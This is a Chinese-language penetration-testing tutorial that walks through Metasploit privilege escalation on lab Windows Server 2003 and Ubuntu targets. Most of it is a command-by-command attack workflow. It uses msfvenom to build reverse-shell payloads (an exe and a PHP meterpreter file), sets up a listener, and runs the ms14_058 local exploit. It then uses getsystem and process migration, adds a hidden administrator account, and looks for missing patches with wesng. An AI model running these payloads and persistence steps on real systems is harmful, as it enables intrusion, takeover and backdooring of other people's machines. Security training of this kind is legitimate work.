Metasploit 是一个渗透框架,kali 内安装了,安装位置如下
/usr/share/metasploit-framework
选定需要使用的攻击模块之后,你只需要使用简单的命令配置一些参数就能完成针对一个漏洞的测试和利用,将渗透的过程自动化、简单化
主要作用:漏洞验证、漏洞利用、内网渗透等
MSF Windows提权
靶机:
- Win server2003 + iis(已通过webshell拿到低权限用户)
- IP:192.168.179.143
攻击机:
- Kali Linux
- IP:192.168.179.128
反弹shell
-
使用msf生成payload 在Kali中输入命令进入msf msfconsole
生成payload msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.179.128
lport=12345 -f exe >/var/www/html/s.exe
将刚才生成的 s.exe 文件上传到服务器(靶机)C:\RECYCLER\s.exe 目录(因为一般C:\RECYCLER\ 目录都有读写权限) -
kali 开启本地监听 use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.179.128
set lport 12345
exploit
使用命令可以查看配置情况 show options
-
使用webshell执行上传的s.exe文件,发现缺少对象,在windows提权篇说过,这种情况需要上传一个版本匹配的cmd.exe文件到c:\recycler目录 执行接收到反弹shell(截图端口有误应为12345) 发现只是一个iis用户,需要进行提权操作
提权
Windows 提权 exp 存储文件夹路径
/usr/share/metasploit-framework# cd modules/exploits/windows/local/
常见的提权模块如下:
- ms14_058 内核模式驱动程序中的漏洞库能允许远程代码执行
- ms16_016 WebDAV 本地提权漏洞(CVE-2016-0051)
- ms16_032 MS16-032 Secondary Logon Handle 本地提权漏洞
常用提权命令
- sysinfo 查看系统命令
- migrate 注入进程
- getuid 获取当前用户
- getprivs 尽可能提升权限
- getsystem 通过各种攻击向量来提升系统用户权限
可以先使用 getsystem 来自动提权,如果失败再手动提权
基础命令
- ps 列出进程
- sessions 查看会话
- background 把session放置后台
- sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用
- interact id #切换进一个信道
- back 返回主界面
- shell 得到终端
- search搜索模块
- show 列模块
- info 查看模块信息
接下来进行具体提权过程:
-
利用getuid命令查看已经获得的权限,可以看到现在的权限很低,是个user权限(或者进入shell 使用whoami命令查看)。尝试利用getsystem提权,失败 -
输入命令shell进入目标机CMD命令行,再利用systeminfo命令或者通过查询 c:\windows\ 里留下的补丁号.log来看看目标机大概打了哪些补丁 使用 wesng工具查看缺失补丁或者使用以下两个网站
安全焦点,其BugTraq是一个出色的漏洞和exploit数据源,可以通过CVE编号,或者产品信息漏洞直接搜索。网址:http://www.securityfocus.com/bid。 Exploit-DB,取代了老牌安全网站milw0rm。不断更新大量的Exploit程序和报告,它的搜索功能可以搜索整个网站内容。网址:http://www.exploit-db.com。
使用命令查找 python .\wes.py -m .\systeminfo.txt
发现很多补丁都没有打 -
输入命令background,就是把当前的metasploit shell转为后台执行 使用命令搜索模块 search ms14_058
查看模块信息 exploit/windows/local/ms14_058_track_popup_menu
基础选项中看到需要设置一个session use exploit/windows/local/ms14_058_track_popup_menu
设置session为刚才back的,使用sessions命令查看id 设置session set SESSION 3
提权成功
保持权限
使用ps命令列出进程
migrate pid 注入explorer 进程
增加超级管理员
net user ocean$ ocean123 /add
net localground administrators ocean$ /add
在kali里面链接远程终端
rdesktop 192.168.179.128
END推荐阅读
MSF Windows提权 https://xz.aliyun.com/t/258
MSF命令 https://zhuanlan.zhihu.com/p/137061194
MSF Linux提权
方法和windows是一致的
靶机:
- ubuntu14.04
- IP:192.168.179.146
攻击机:
- Kali Linux
- IP:192.168.179.128
反弹shell
经过测试web中存在文件上传漏洞,然后上传了一句话木马,使用蚁剑链接成功
使用MSF生成payload
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.179.128 LPORT=12345 -f raw > /var/www/html/shell.php
开启监听
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 192.168.179.128
set lport 12345
exploit
再蚁剑上传shell.php到web目录再浏览器访问
http://192.168.179.146/upload/shell.php
kali接收到反弹的shell
权限为www-data
msf对于Linux提权方式不是很多,还是以手工提权为主
补充wesng用法
项目地址:https://github.com/bitsadmin/wesng
-
将wesng下载到本地主机上,先升级最新的漏洞数据库 python wes.py --update
-
将目标机器的systeminfo命令的结果输出并保存,使用wesng进行检查 python .\wes.py .\systeminfo.txt
如果提示txt文件中有缺失,可以加参数指定系统版本 -m .\systeminfo.txt --os "winserver 2008 r2"
wesng也可以对数据进行过滤 如果攻击者对可能导致远程代码执行的漏洞和/或仅具有可用漏洞利用代码的漏洞感兴趣,这将非常有用。为此,可以分别使用--impact "Remote Code Execution" (shorthand: -i ) 和--exploits-only (shorthand: -e ) 参数,使用--severity (简写:)-s 参数可以仅列出具有特定严重性的结果 支持使用--output (shorthand: -o ) 参数将结果以 CSV 格式存储到磁盘 同样也有针对linux的工具 https://github.com/mzet-/linux-exploit-suggester
|